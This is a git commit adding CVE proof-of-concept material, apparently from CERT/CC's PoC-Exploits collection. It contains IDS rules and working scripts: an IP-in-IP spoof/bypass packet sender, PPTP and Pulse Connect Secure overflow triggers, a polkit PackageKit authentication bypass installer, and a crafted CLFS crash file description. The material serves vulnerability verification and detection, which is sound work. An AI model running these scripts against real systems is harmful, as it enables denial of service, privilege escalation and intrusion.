update new CVE

This commit is contained in:
helloexp 2023-02-21 16:07:00 +08:00
parent 966b0f5a52
commit fbe7076d5b
31 changed files with 888 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,7 @@
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
#Only captures bytes sequence, this IDS signature subject to some false/negative and
#possible false/positives
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)

Binary file not shown.

View File

@ -0,0 +1,7 @@
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
#Only captures bytes sequence, this IDS signature subject to some false/negative and
#possible false/positives tested with most exploits currently out
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)

Binary file not shown.

View File

@ -0,0 +1,40 @@
# cve-2020-10136
You can use this code to verify if your device supports default IP-in-IP
encapsulation from arbitrary sources to arbitrary destinations. The intended
use of this code requires at least two more devices with distinct IP
addresses for these two devices. The testing in "bypass" mode requires
the vulnerable device to be "dual-homed" so routing to the "inside"
network from an external network interface can be verified.
Spoof mode:
![Spoof mode](spoof.png)
The demonstration script can be used in two ways - spoof mode and
bypass mode. Initial setup requires at least three devices for this
testing. In the simple spoofing mode, attacker will send a IP-in-IP
packet from their device to a vulnerable machine
(VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim's
device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS
capability to send unsolicited traffic to VICTIM_IP. Because this
packet has valid source and destination, anti-spoofing measure such as
BCP-38 will not block this crafted packet. The intended traffic can be
routed through the VULNERABLE_IP to the VICTIM_IP device by an
unauthenticated attacker.
Bypass mode:
![Bypass mode](bypass.png)
In the bypass mode (using all 4 arguments for the script), the
attacker will send a crafted IP-in-IP packet from the attacker's
device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The
vulnerable device will receive and decapsulate the packet and forward
the inner IP packet to the victim device (VICTIM_IP sys.argv[2])
machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The
attacker can thus solicit information using the sample SNMP query to
be sent to DATA_COLLECT_IP which he has access to. In the provided
example, device at the VICTIM_IP address is assumed to have SNMP
enabled with the standard "public" community string for read-only
access. SNMP is being demonstrated here, but this forwarding behavior
can allow for many types of unexpected IP traffic to traverse using
the vulnerable machine as a forwarding point for any nefarious
communications as planned by the attacker.

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View File

@ -0,0 +1,6 @@
#This Snort IDS rule looks for any IP-in-IP traffic, whether
#intentional or not. Further filtering can be applied to ignore sources
#and destinations that are allowed by your policy to route IP-in-IP
#traffic.
alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397;
rev:1;)

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
#Thanks to Yannay Livneh for sharing this PoC script
#PoC script slightly modified to test bypass mode
import sys
from scapy.all import *
if len(sys.argv) < 3:
print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
sys.exit(0);
## IP-in-IP forwarding device vulnerable to VU-636397
VULNERABLE_MACHINE_IP = sys.argv[1]
## VICTIM IP of the machine we want to send packet to
VICTIM_IP = sys.argv[2]
if len(sys.argv) == 5 and sys.argv[4] == "bypass":
## Address we want to send the return traffic back to
DATA_COLLECT_IP = sys.argv[3]
## LAN bypass mode to jump into VICTIM_IP network
## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
else:
## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
Raw(load="I am Vulnerable\n"))
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
## tcpdump -i any -nvvv udp port 3363

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

View File

@ -0,0 +1,9 @@
# CVE-2020-12695 vulnerability information
Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule.
1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors.
2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability.
3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger)

View File

@ -0,0 +1,4 @@
#Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP
#method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that
#accept HTTP method in lowercase.
alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;)

View File

@ -0,0 +1,33 @@
# cve-2020-8597-pptpd
You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability.
Usage
prompt# ./pptp_poc.py
Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597
prompt# ./pptp_poc.py 172.19.12.21
Initiating communications with PPTP server 172.19.12.21
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet
prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24
Initiating communications with PPTP server 172.19.12.24
.... debug info ....
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet
prompt# ./pptp_poc.py 172.19.12.254
Initiating communications with PPTP server 172.19.12.254
Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow
Server 172.19.12.254 is likely NOT vulnerable to buffer overflow
Verifying peer 172.19.12.254 one more time using a Echo request to the peer
Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable
There are some sample PCAP file with exploit (and without exploit) and matching
snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file
for details
###
Copyright and license:
See License under https://github.com/CERTCC/PoC-Exploits

View File

@ -0,0 +1,15 @@
#IDS rules are bound to have false/positive and false/negatives at times. Note:
#these can be easily evaded by padding and other tricks done when packet crafting.
#USE AT YOUR OWN RISK!
#We have done our best to avoid false/negatives. There is a sample pcap file in
#this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer
#overflow payload (256 length hostname 'AA..A') and one that does not (255 length
#hostname with 'AA..A')
#GRE packet ip_proto == 47
#This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge
#PPP - EAP-MD5 Challenge packet == 0xc22701
#Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not
#included in the dsize.
#Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4)
#Using GRE rules SID format 116:161:*
alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;)

Binary file not shown.

View File

@ -0,0 +1,165 @@
#!/usr/bin/python3
from scapy.all import *
import socket
import sys
import signal
import os
conf_ack_received = False
conf_ack_sent = False
debug = False
if os.environ.get("DEBUG"):
debug = True
def pkt_callback(pkt):
global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug
if debug:
print("Received a GRE packet that shows continued conversation for EAP")
pkt.show()
if pkt.haslayer(PPP):
if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223
conf_ack_received = True
if debug:
print("Received a CHAP challenge from peer ignoring")
print("Assuming we received a Conf-Ack already")
return
if pkt.haslayer(EAP):
if pkt.getlayer(EAP).code == 2 :
#EAP Response received for the sent EAP request with bad payload
if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
sys.exit(0)
if pkt.haslayer(PPP_LCP_Configure) :
p_layer = pkt.getlayer(PPP_LCP_Configure)
cid = p_layer.id
if p_layer.code == 2:
if debug:
print("Received Conf ack we are all okay")
conf_ack_received = True
if conf_ack_sent == True:
return
else:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
if p_layer.code == 1: #config request
if debug:
print("Received another Config-Request, should reply this")
pkt.show()
server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/
HDLC()/PPP()/
PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug)
conf_ack_sent = True
if conf_ack_received:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1
if debug:
print("We received a Echo-Reply back for ID=4 ping request")
print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
sys.exit(0)
def handler(signum, frame):
if debug:
print("Timeout has expired")
raise Exception('Timed out')
if len(sys.argv) < 2:
print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
sys.exit(0)
dst = sys.argv[1]
#default pptp port
dport = 1723
print("Initiating communications with PPTP server %s " %(dst))
signal.signal(signal.SIGALRM, handler)
#6 seconds for first TCP response
signal.alarm(6)
#TCP communications
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((dst, dport))
cstream = StreamSocket(client)
# initialize PPTP session
call_id = random.randint(1000,10000)
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
#revision is not properly parsed
vr.protocol_version=256
cstream.sr1(vr,verbose=debug)
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
call_reply = PPTPOutgoingCallReply(call_reply)
signal.alarm(0)
#Another 6 seconds to do GRE connection
signal.alarm(6)
# GRE communications
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
gre_socket.connect((dst,dport))
gre_stream = SimpleSocket(gre_socket)
#send configuration request
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
HDLC()/PPP()/
PPP_LCP_Configure(id=0x1,options=[
PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
server_conf_request = IP(server_conf_request)
signal.alarm(0)
# give 9 seconds for configure ack to complete
signal.alarm(9)
tries = 0
try:
while conf_ack_received == False or tries < 9:
sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
tries = tries + 1
except:
if debug:
print("Never could recevie a configureation ack from peer due to Timeout")
tries = 9
if conf_ack_received == False and tries > 8:
print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
print("Server %s is in UNKNOWN state" %(sys.argv[1]))
sys.exit(0)
signal.alarm(0)
print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")
bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)
gre_stream.send(bad_pkt)
#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
signal.alarm(3)
try:
sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
sys.exit(0)
print("Server %s is likely NOT vulnerable to buffer overflow" % (sys.argv[1]))
signal.alarm(0)
print("Verifying peer %s one more time using a Echo request to the peer " % (sys.argv[1]))
signal.alarm(3)
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
#pptp server with the bad payload
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
HDLC()/PPP()/
PPP_LCP_Configure(code=0x9,id=4))
try:
PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
print("Did not received PPP Echo Reply, check the logs on the server to verify status")
sys.exit(0)
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")
sys.exit(0)

View File

@ -0,0 +1,31 @@
# cve-2021-22908
This python3 script checks for Pulse Connect Secure servers vulnerable to
[VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation.
## Usage modes:
`cve-2021-22908.py <host>`
This mode will interactively log in to a PCS server to obtain a DSID value.
`cve-2021-22908.py <host> -d <DSID>`
In the case were a PCS user's DSID is already known, this mode will skip the
interactive login exchange.
`cve-2021-22908.py <host> -n`
If you do not have authentication available for the target PCS, you can check
for only the presence of the Workaround-2105.xml mitigation.
## Results:
`HTTP 500`
This is indicative of a vulnerable PCS server, due to a crashing CGI.
`HTTP 403. XML workaround applied`
This is indicative of a PCS server that has an XML mitigation applied.
`HTTP 200. Windows File Access Policies prevents exploitation.`
This is indicative of a PCS server that has "Windows File Access Policies"
configured in a way that prevents exploitation.
`HTTP %s. Not vulnerable.`
The PCS server does not appear to be vulnerable.

View File

@ -0,0 +1,263 @@
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form <input> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for <textarea> tags
foundelement = False
for attr in attrs:
if(attr[0] == 'id'):
if(attr[1] == 'sn-preauth-text_2'):
self.foundelement = True
def handle_data(self, data):
if self.foundelement:
self.data = data
self.foundelement = False
def get_realm(host, defaulturi):
realm = None
print('Getting default realm for %s...' % host)
url = 'https://%s%s' % (host,defaulturi)
res = None
try:
res = requests.get(url, verify=False, timeout=10)
except requests.exceptions.ConnectionError:
print('Error retrieving %s' % url)
if res:
if res.status_code == 200:
html = str(res.content)
if 'sn-preauth-text_2' in html:
print('Preauth required...')
parser = preauthfinder()
parser.feed(html)
preauthtext = parser.data
values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
if res.content:
parser = formvaluefinder('realm')
parser.feed(str(res.content))
realm = parser.data
else:
print('Error retrieving login page')
else:
parser = formvaluefinder('realm')
parser.feed(html)
realm = parser.data
return realm
def get_dsid(host, defaulturi, realm, user, password):
dsid = None
loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
url = 'https://%s%s' % (host,loginuri)
values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'cred' in res.headers['location']:
# This is a pulse that requires 2FA
res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'id':
key = cookie.value
password2 = input('MFA code: ')
values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
cookies = {'id': key, 'DSSigninNotif': '1'}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
if 'confirm' in res.headers['location']:
# Redirect to "user-confirm" that they still want to log in, despite already
# having an active session
print('User session is already active! Proceeding...')
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
parser = formvaluefinder('FormDataStr')
parser.feed(str(res.content))
formdata = parser.data
values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
else:
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
elif 'failed' in res.headers['location']:
print('Login failed!')
else:
# Login accepted
for cookie in res.cookies:
if cookie.name == 'DSID':
dsid = cookie.value
return dsid
def get_xsauth(host, dsid):
xsauth = None
url = 'https://%s/dana/home/index.cgi' % host
cookies = {'DSID':dsid}
res = requests.get(url, verify=False, cookies=cookies, timeout=10)
if 'xsauth' in str(res.content):
parser = formvaluefinder('xsauth')
parser.feed(str(res.content))
xsauth = parser.data
else:
print('Cannot find xsauth string for provided DSID: %s' % dsid)
return xsauth
def trigger_vul(host, dsid, xsauth):
url = 'https://%s/dana/fb/smb/wnf.cgi' % host
values = {
't': 's',
'v': '%s,,' % ('A' * 1800),
'dir': 'tmp',
'si': None,
'ri': None,
'pi': None,
'confirm': 'yes',
'folder': 'tmp',
'acttype': 'create',
'xsauth': xsauth,
'create': 'Create Folder',
}
cookies = {'DSID': dsid}
try:
res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
status = res.status_code
if 'DSIDFormDataStr' in str(res.content):
# We got page asking to confirm our action
print('xsauth value was not accepted')
else:
if status == 200 and 'Error FB-8' in str(res.content):
print('HTTP %s. Windows File Access Policies prevents exploitation.' % status)
elif status == 200:
print('HTTP %s. Not vulnerable.' % status)
elif status == 403:
print('HTTP %s. XML workaround applied.' % status)
elif status == 500:
print('HTTP %s. %s is vulnerable to CVE-2021-22908!' % (status, host))
elif status == 302:
print('HTTP %s. Are you sure your DSID is valid?' % host)
else:
print('HTTP %s. Not sure how to interpret this result.' % status)
except requests.exceptions.ReadTimeout:
print('No response from server. Try again...')
def get_default(host):
url = 'https://%s' % host
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
try:
location = res.headers['location']
if 'dana-na' not in location:
print('%s does not seem to be a PCS host' % host)
location = None
except:
pass
return location
def check_xml(host):
url = 'https://%s/dana/meeting' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2104 appears to be installed')
else:
print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')
url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
#print('Checking status of %s ...' % url)
res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
if res.status_code == 403:
print('Workaround-2105 appears to be installed')
else:
print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')
host = args.host
if args.noauth:
check_xml(host)
else:
defaulturi = get_default(host)
if defaulturi:
if not args.realm:
realm = get_realm(host, defaulturi)
else:
realm = args.realm
if realm:
print('Realm: %s' % realm)
if not args.user and not args.dsid:
user = input('User: ')
else:
user = args.user
if not args.password and not args.dsid:
password = getpass.getpass()
else:
password = args.password
if not args.dsid:
dsid = get_dsid(host, defaulturi, realm, user, password)
print('DSID: %s' % dsid)
else:
dsid = args.dsid
if dsid:
if not args.xsauth:
xsauth = get_xsauth(host, dsid)
print('xsauth: %s' % xsauth)
else:
xsauth = args.xsauth
if xsauth:
trigger_vul(host, dsid, xsauth)

View File

@ -0,0 +1,21 @@
# cve-2021-3560
## Vulnerability Info
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
## PackageKit Exploit
### Installing Packages
`install.py` can be used to install a package (such as gnome-control-center) bypassing authentication on systems vulnerable to CVE-2021-3560
The package ID will need to include the semicolons so the quotations are necessary. To determine a valid package id, use the included `search.py` script
On tested systems, simply running the python script results in the process being killed at the correct timing. If needed, you can add a 'time.sleep()' to the end of the script and the sleep & kill technique can be used for better timing.
### Usage
`python3 install.py 'full;package;id;here'`
### Searching For Package IDs
`search.py` is used to determine a full package id from a simple package name.
### Usage
`python3 search.py package_name(s)`

View File

@ -0,0 +1,16 @@
#usage: python3 install.py 'full;package;id;here' 'another;package;id;here'
import sys
import dbus
system_bus = dbus.SystemBus()
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
pk_transaction = pk_interface.CreateTransaction()
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
pk_transaction_interface.InstallPackages(2,sys.argv[1:])

View File

@ -0,0 +1,30 @@
#usage: python search.py packagename [more package names]
import sys
import dbus
from dbus.mainloop.glib import DBusGMainLoop
from gi.repository import GLib
def package_sh(*args, **kwargs):
print(args[1])
def destroy_sh(*args, **kwargs):
loop.quit()
DBusGMainLoop(set_as_default=True)
system_bus = dbus.SystemBus()
pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit")
pk_transaction = pk_interface.CreateTransaction()
pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction)
pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction")
pk_transaction_interface.connect_to_signal('Package',package_sh)
pk_transaction_interface.connect_to_signal('Destroy', destroy_sh)
GLib.timeout_add(500, pk_transaction_interface.SearchNames, 0,sys.argv[1:])
loop = GLib.MainLoop()
loop.run()

View File

@ -0,0 +1,56 @@
# cve-2021-36955
## Vulnerability Info
https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/
## PoC Crasher
### Overview
The proof-of-concept is very simple, just code to open and close a log file, using `CreateLogFile()` and `CloseHandle()`.
If the log file `test_log.blf` does NOT exist it will be created.
If the log file `test_log.blf` does exist, then the existing file will be opened.
The file `test_log_crafted.blf` has been modified, such that when opened by `CreateLogFile()`, it will trigger the vulnerability on unpatched systems. The provided proof-of-concept causes a double free when `CloseHandle()` is called, resulting in a BSOD for a BAD_POOL_HEADER.
### BLF Layout
The first 0x200 bytes of test_log.blf are the important bytes. Most of these bytes are 0's (as with the rest of a default newly created file), and only matter for the purposes of the checksum.
These bytes make up a CLFS_RECORD_HEADER and a CLFS_CONTROL_RECORD.
![Control Record Sectors](./screenshots/control_record.png)
(Screenshots are taken of the [010 Editor](https://www.sweetscape.com/010editor/))
#### Crafting the CLFS_CONTROL_RECORD
The following fields are changed from the default value of 0 to meet the conditions described in the [referenced blog post](https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/)
- `eExtendState` -> 2
- `iExtendBlock` -> 2
- `iFlushBlock` -> 3
- `cNewBlockSectors` -> 3
After updating these fields, the checksum needs to be updated
The result looks like (the changed bytes are colored orange):
![Crafted Control Record](./screenshots/crafted.png)
##### Checksum Notes
The checksum is calculated over the first 0x200 bytes, with the checksum field zeroed out.
[Alex Ionescu documents](https://github.com/ionescu007/clfs-docs) that the CRC32 polynomial is `0x04C11DB7`.
However, after some experimentation with the 010 Editor's CRC32 tool and referencing [Michaelangel007's notes](https://github.com/Michaelangel007/crc32) the checksum can be replicated using the 'reverse' fixed polynomial `0xEDB88320`.
(This is the same polynomial, just flipped around from the perspective of 010 Editor's CRC32 implementation.)
## Files
- [scripts](./scripts)
- [BLF.bt](./scripts/BLF.bt)
A partial 010 Editor Template for BLF files
- [BLF_Checksum.1sc](./scripts/BLF_Checksum.1sc)
A 010 Editor Script for updating the Control Record Header checksum.
This script should be used after the `BLF.bt` template has been applied to the file.
- [src](./src)
- [poc.c](./src/poc.c)
A simple C program to open and close a log file.
- [Makefile](./src/Makefile)
A simple Makefile with the gcc invocation used to compile `poc.exe`
MinGW is used to compile on Windows.
- [test_log_crafted.blf](./src/test_log_crafted.blf)
a crafted version of a default BLF file created by running `poc.exe` without `test_log.blf` existing.

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

View File

@ -0,0 +1,123 @@
//------------------------------------------------
//--- 010 Editor v12.0.1 Binary Template
//
// File: BLF.bt
// Authors:
// Version:
// Purpose: 010 Editor Template for Base Log Files (BLF),
// used by the Windows CLFS
// Category:
// File Mask:
// ID Bytes:
// History:
//------------------------------------------------
typedef QWORD ULONGLONG;
typedef QWORD PUCHAR;
typedef DWORD CLFS_CLIENT_ID;
typedef QWORD CLFS_LSN;
typedef struct _CLFS_RECORD_HEADER
{
UCHAR MajorVersion <format=hex>;
UCHAR MinorVersion <format=hex>;
UCHAR Usn <format=hex>;
UCHAR StreamIndex <format=hex>;
USHORT TotalSectorCount <format=hex>;
USHORT ValidSectorCount <format=hex>;
ULONG Padding;
ULONG Checksum <format=hex>;
ULONG Flags;
ULONG Padding;
CLFS_LSN CurrentLsn <format=hex>;
CLFS_LSN NextLsn <format=hex>;
ULONG RecordOffsets[16];
ULONG SignaturesOffset;
ULONG Padding;
} CLFS_RECORD_HEADER;
typedef enum <uint64> _CLFS_METADATA_BLOCK_TYPE
{
ClfsMetaBlockControl,
ClfsMetaBlockControlShadow,
ClfsMetaBlockGeneral,
ClfsMetaBlockGeneralShadow,
ClfsMetaBlockScratch,
ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE;
typedef enum _CLFS_EXTEND_STATE
{
ClfsExtendStateNone,
ClfsExtendStateExtendingFsd,
ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE;
typedef enum _CLFS_TRUNCATE_STATE
{
ClfsTruncateStateNone,
ClfsTruncateStateModifyingStream,
ClfsTruncateStateSavingOwner,
ClfsTruncateStateModifyingOwner,
ClfsTruncateStateSavingDiscardBlock,
ClfsTruncateStateModifyingDiscardBlock
} CLFS_TRUNCATE_STATE;
typedef struct _CLFS_METADATA_RECORD_HEADER
{
ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER;
typedef struct _CLFS_METADATA_BLOCK
{
PUCHAR pbImage <format=hex>;
ULONG cbImage <format=hex>;
ULONG cbOffset <format=hex>;
CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK;
typedef struct _CLFS_TRUNCATE_CONTEXT
{
CLFS_TRUNCATE_STATE eTruncateState;
CLFS_CLIENT_ID cClients;
CLFS_CLIENT_ID iClient;
CLFS_LSN lsnOwnerPage;
CLFS_LSN lsnLastOwnerPage;
ULONG cInvalidSector;
} CLFS_TRUNCATE_CONTEXT;
typedef struct _CLFS_CONTROL_RECORD
{
CLFS_METADATA_RECORD_HEADER hdrControlRecord;
ULONGLONG ullMagicValue <format=hex>;
UCHAR Version;
UCHAR cReserved;
UCHAR cReserved;
UCHAR cReserved;
CLFS_EXTEND_STATE eExtendState;
